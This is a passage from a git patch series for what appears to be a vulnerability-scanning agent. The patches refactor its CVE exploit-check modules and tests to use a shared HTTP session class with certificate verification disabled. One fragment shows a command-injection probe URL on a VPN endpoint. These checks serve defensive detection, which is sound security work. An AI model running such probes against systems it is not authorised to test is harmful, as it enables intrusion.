@@ import requests from requests import exceptions as requests_exceptions +from packaging import version from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from agent import definitions -from packaging import version DEFAULT_TIMEOUT = 90 diff --git a/tests/exploits/cve_2024_6633_test.py b/tests/exploits/cve_2024_6633_test.py index cd365292..a5c81e64 100644 --- a/tests/exploits/cve_2024_6633_test.py +++ b/tests/exploits/cve_2024_6633_test.py @@ -2,7 +2,7 @@ import socket from unittest import mock -import jaydebeapi # type: ignore +import jaydebeapi from agent import definitions from agent.exploits import cve_2024_6633 From 60c0f088edc49e9a4d0a4e7cb7c1463975de6fb4 Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Thu, 24 Oct 2024 10:39:34 +0100 Subject: [PATCH 7/8] Wrap cloudscraper --- agent/definitions.py | 15 +++++++++++---- agent/exploits/cve_2023_27997.py | 1 + agent/exploits/cve_2024_20419.py | 7 +++---- agent/exploits/cve_2024_23113.py | 9 ++++----- agent/exploits/cve_2024_4040.py | 3 +-- agent/exploits/cve_2024_40725.py | 7 +++---- agent/exploits/cve_2024_7120.py | 5 ++--- agent/exploits/cve_2024_9634.py | 5 ++--- agent/exploits/exposed_docker_resgistry_api.py | 5 ++--- tests/exploits/cve_2014_7169_test.py | 4 ++-- tests/exploits/cve_2018_14558_test.py | 4 ++-- tests/exploits/cve_2018_7841_test.py | 4 ++-- tests/exploits/cve_2023_27997_test.py | 2 +- tests/exploits/cve_2024_23113_test.py | 2 +- tests/exploits/cve_2024_40725_test.py | 10 +++++----- tests/exploits/cve_2024_8522_test.py | 6 +++--- 16 files changed, 45 insertions(+), 44 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index d9ab2db7..3bffa032 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -80,14 +80,21 @@ def init_poolmanager(self, *args: Any, **kwargs: dict[str, Any]) -> Any: return super().init_poolmanager(*args, **kwargs) # type:ignore[no-untyped-call] +class HttpSession(cloudscraper.CloudScraper): # type:ignore[no-any-unimported,misc] + """Wrapper for the requests session class.""" + + def __init__(self) -> None: + super().__init__() + self.max_redirects = MAX_REDIRECTS + self.verify = False + self.mount("https://", SSLAdapter()) + + class Exploit(abc.ABC): """Base Exploit""" def __init__(self) -> None: - self.session = cloudscraper.create_scraper() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - self.session.mount("https://", SSLAdapter()) + self.session = HttpSession() @abc.abstractmethod def accept(self, target: Target) -> bool: diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index 675c87ad..da6fffb9 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -83,6 +83,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT ) except requests_exceptions.RequestException: + breakpoint() return [] reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(r.text) diff --git a/agent/exploits/cve_2024_20419.py b/agent/exploits/cve_2024_20419.py index 8eddb6e3..cda6c8ef 100644 --- a/agent/exploits/cve_2024_20419.py +++ b/agent/exploits/cve_2024_20419.py @@ -5,7 +5,6 @@ import logging import urllib3 -import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -71,7 +70,7 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] +def _is_endpoint_reachable(session: definitions.HttpSession, url: str) -> bool: try: response = session.get(url, timeout=10) response.raise_for_status() @@ -82,8 +81,8 @@ def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool return False -def _get_auth_token( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, url: str, username: str +def _get_auth_token( + session: definitions.HttpSession, url: str, username: str ) -> Any | None: try: get_url = f"{url}/backend/settings/oauth_adfs?hostname=polar" diff --git a/agent/exploits/cve_2024_23113.py b/agent/exploits/cve_2024_23113.py index 6340c8bb..24117581 100644 --- a/agent/exploits/cve_2024_23113.py +++ b/agent/exploits/cve_2024_23113.py @@ -5,7 +5,6 @@ import re import socket -import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -139,8 +138,8 @@ def _get_fortinet_version_snmp(host: str) -> tuple[str, tuple[int, int, int]] | return None -def _get_fortinet_version_http( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, host: str +def _get_fortinet_version_http( + session: definitions.HttpSession, host: str ) -> tuple[str, tuple[int, int, int]] | None: try: response = session.get(f"https://{host}", timeout=DEFAULT_TIMEOUT.seconds) @@ -184,8 +183,8 @@ def _get_fortinet_version_tcp(host: str) -> tuple[str, tuple[int, int, int]] | N return None -def _get_fortinet_version( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, host: str +def _get_fortinet_version( + session: definitions.HttpSession, host: str ) -> tuple[str, tuple[int, int, int]] | None: # Try HTTP First result = _get_fortinet_version_http(session, host) diff --git a/agent/exploits/cve_2024_4040.py b/agent/exploits/cve_2024_4040.py index e73b01e8..cf8e3743 100644 --- a/agent/exploits/cve_2024_4040.py +++ b/agent/exploits/cve_2024_4040.py @@ -2,7 +2,6 @@ from typing import Any -import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.mixins import agent_report_vulnerability_mixin from ostorlab.agent.kb import kb @@ -32,7 +31,7 @@ class CVE20244040Exploit(definitions.Exploit): def __init__(self) -> None: self.token = "" - self.session = cloudscraper.create_scraper() + self.session = definitions.HttpSession() def accept(self, target: definitions.Target) -> bool: try: diff --git a/agent/exploits/cve_2024_40725.py b/agent/exploits/cve_2024_40725.py index 602f53b1..2058e120 100644 --- a/agent/exploits/cve_2024_40725.py +++ b/agent/exploits/cve_2024_40725.py @@ -5,7 +5,6 @@ import logging import pathlib -import cloudscraper import semantic_version from pygments import highlight from pygments import lexers @@ -35,7 +34,7 @@ logger = logging.getLogger(__name__) -def _get_server_version(session: cloudscraper.CloudScraper, url: str) -> str | None: # type: ignore[no-any-unimported] +def _get_server_version(session: definitions.HttpSession, url: str) -> str | None: """Gets the server version from the given URL. Args: @@ -115,8 +114,8 @@ def _contains_code_content(content: str) -> bool: return False -def _check_files( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, url: str, filenames: list[str] +def _check_files( + session: definitions.HttpSession, url: str, filenames: list[str] ) -> bool: """Checks the given files for source code disclosure. diff --git a/agent/exploits/cve_2024_7120.py b/agent/exploits/cve_2024_7120.py index a30f6444..3ae89363 100644 --- a/agent/exploits/cve_2024_7120.py +++ b/agent/exploits/cve_2024_7120.py @@ -2,7 +2,6 @@ import logging -import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -60,7 +59,7 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] +def _is_endpoint_reachable(session: definitions.HttpSession, url: str) -> bool: """Checks if the endpoint is reachable and contains specific content.""" try: response = session.get(url, timeout=10) @@ -75,7 +74,7 @@ def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool return False -def _detect_command_injection(session: cloudscraper.CloudScraper, url: str) -> bool: # type: ignore[no-any-unimported] +def _detect_command_injection(session: definitions.HttpSession, url: str) -> bool: """Checks if the command injection is successful.""" try: injection_url = f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={INJECTION_PAYLOAD}" diff --git a/agent/exploits/cve_2024_9634.py b/agent/exploits/cve_2024_9634.py index d4ee3b4e..73db0c3c 100644 --- a/agent/exploits/cve_2024_9634.py +++ b/agent/exploits/cve_2024_9634.py @@ -7,7 +7,6 @@ import requests from requests import exceptions as requests_exceptions from packaging import version -import cloudscraper from agent import definitions from agent import exploits_registry @@ -30,8 +29,8 @@ def _is_vulnerable_version(version_str: str) -> bool: return version.parse(version_str.strip()) <= MAX_SAFE_VERSION -def _send_request( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, +def _send_request( + session: definitions.HttpSession, target: definitions.Target, request: definitions.Request, ) -> Any | None: diff --git a/agent/exploits/exposed_docker_resgistry_api.py b/agent/exploits/exposed_docker_resgistry_api.py index 5d854718..bbb1e036 100644 --- a/agent/exploits/exposed_docker_resgistry_api.py +++ b/agent/exploits/exposed_docker_resgistry_api.py @@ -3,7 +3,6 @@ import logging import json -import cloudscraper from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -66,8 +65,8 @@ def _create_vulnerability( return vulnerability -def _get_repositories_info( # type: ignore[no-any-unimported] - session: cloudscraper.CloudScraper, target: definitions.Target, repo_list: list[str] +def _get_repositories_info( + session: definitions.HttpSession, target: definitions.Target, repo_list: list[str] ) -> dict[str, list[str]]: """ Retrieves repository information from the Docker Registry API. diff --git a/tests/exploits/cve_2014_7169_test.py b/tests/exploits/cve_2014_7169_test.py index aea3f47b..80b01d00 100644 --- a/tests/exploits/cve_2014_7169_test.py +++ b/tests/exploits/cve_2014_7169_test.py @@ -23,7 +23,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.get", side_effect=side_effect) target = definitions.Target( scheme="http", host="127.0.0.1", port=8081, path="/cgi-bin/vulnerable.cgi" @@ -54,7 +54,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.get", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=8081) exploit_instance = cve_2014_7169.CVE20147169Exploit() diff --git a/tests/exploits/cve_2018_14558_test.py b/tests/exploits/cve_2018_14558_test.py index 9cfdaa67..14c7b0d5 100644 --- a/tests/exploits/cve_2018_14558_test.py +++ b/tests/exploits/cve_2018_14558_test.py @@ -21,7 +21,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.get", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_14558.CVE201814558Exploit() @@ -49,7 +49,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_14558.CVE201814558Exploit() diff --git a/tests/exploits/cve_2018_7841_test.py b/tests/exploits/cve_2018_7841_test.py index e4219fdd..11b460d6 100644 --- a/tests/exploits/cve_2018_7841_test.py +++ b/tests/exploits/cve_2018_7841_test.py @@ -22,7 +22,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_7841.CVE20187841Exploit() @@ -50,7 +50,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_7841.CVE20187841Exploit() diff --git a/tests/exploits/cve_2023_27997_test.py b/tests/exploits/cve_2023_27997_test.py index 677f20b1..0303d6e4 100644 --- a/tests/exploits/cve_2023_27997_test.py +++ b/tests/exploits/cve_2023_27997_test.py @@ -28,7 +28,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] seed += 1 return mock_response - mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) + mocker.patch("agent.definitions.HttpSession.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="91.135.170.42", port=8443) vulnerabilities = exploit_instance.check(target) diff --git a/tests/exploits/cve_2024_23113_test.py b/tests/exploits/cve_2024_23113_test.py index 190b5759..9593f335 100644 --- a/tests/exploits/cve_2024_23113_test.py +++ b/tests/exploits/cve_2024_23113_test.py @@ -173,7 +173,7 @@ def testCVE202423113_withHTTPDetection_returnVulnerabilities( """Test HTTP-based detection for various Fortinet products.""" mock_response = mock.MagicMock() mock_response.text = content - mocker.patch("cloudscraper.CloudScraper.get", return_value=mock_response) + mocker.patch("agent.definitions.HttpSession.get", return_value=mock_response) exploit_instance = cve_2024_23113.CVE202423113Exploit() target = definitions.Target("tcp", "192.168.1.1", 443) diff --git a/tests/exploits/cve_2024_40725_test.py b/tests/exploits/cve_2024_40725_test.py index 9c3eea2e..1b40507e 100644 --- a/tests/exploits/cve_2024_40725_test.py +++ b/tests/exploits/cve_2024_40725_test.py @@ -94,7 +94,7 @@ def testCVE202440725_whenNoFilenamesFound_reportNothing( mocker: mock.Mock, caplog: pytest.LogCaptureFixture ) -> None: """Test check method when an IOError occurs reading filenames.""" - mocker.patch("cloudscraper.create_scraper") + mocker.patch("agent.definitions.HttpSession") mocker.patch("builtins.open", side_effect=IOError("File not found")) exploit_instance = cve_2024_40725.ApacheSourceCodeDisclosureExploit() @@ -111,7 +111,7 @@ def testCVE202440725_whenRequestException_reportLoggedErrors() -> None: with mock.patch( "agent.exploits.cve_2024_40725._read_filenames", return_value=["index.php"] ), mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.RequestException("Request error"), ), mock.patch("agent.exploits.cve_2024_40725.logger") as mock_logger: exploit_instance = cve_2024_40725.ApacheSourceCodeDisclosureExploit() @@ -128,7 +128,7 @@ def testCVE202440725_whenRequestException_reportLoggedErrors() -> None: def testCVE202440725_whenHTTPError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises an HTTPError.""" with mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.exceptions.HTTPError( "HTTP error", response=requests.models.Response() ), @@ -153,7 +153,7 @@ def testCVE202440725_whenHTTPError_reportLoggedErrors() -> None: def testCVE202440725_whenConnectionError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises a ConnectionError.""" with mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.exceptions.ConnectionError("Connection error"), ), mock.patch( "agent.exploits.cve_2024_40725._contains_code_content", return_value=True @@ -176,7 +176,7 @@ def testCVE202440725_whenConnectionError_reportLoggedErrors() -> None: def testCVE202440725_whenTimeoutError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises a Timeout.""" with mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.exceptions.Timeout("Timeout error"), ), mock.patch( "agent.exploits.cve_2024_40725._contains_code_content", return_value=True diff --git a/tests/exploits/cve_2024_8522_test.py b/tests/exploits/cve_2024_8522_test.py index d1f98a5f..426961c2 100644 --- a/tests/exploits/cve_2024_8522_test.py +++ b/tests/exploits/cve_2024_8522_test.py @@ -77,7 +77,7 @@ def testCheck_whenVulnerable_reportFinding( ) # Patch the 'get' request to return the mocked response - with mock.patch("cloudscraper.CloudScraper.get", return_value=mock_response): + with mock.patch("agent.definitions.HttpSession.get", return_value=mock_response): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() target = definitions.Target("http", "example.com", 80) @@ -116,7 +116,7 @@ def testCheck_whenRequestException_reportNoVulnerabilities( ) -> None: """Test the check method when a RequestException occurs.""" with mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.RequestException("Request error"), ): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() @@ -133,7 +133,7 @@ def testCheck_whenTimeoutError_reportLoggedErrors( ) -> None: """Test the check method when a Timeout error occurs.""" with mock.patch( - "cloudscraper.CloudScraper.get", + "agent.definitions.HttpSession.get", side_effect=requests.exceptions.Timeout("Timeout error"), ): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() From d19fa508f89d187f94df7618ed0149910e085e13 Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Fri, 25 Oct 2024 08:58:17 +0100 Subject: [PATCH 8/8] remove debugging statement --- agent/exploits/cve_2023_27997.py | 1 - 1 file changed, 1 deletion(-) diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index da6fffb9..675c87ad 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -83,7 +83,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT ) except requests_exceptions.RequestException: - breakpoint() return [] reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(r.text)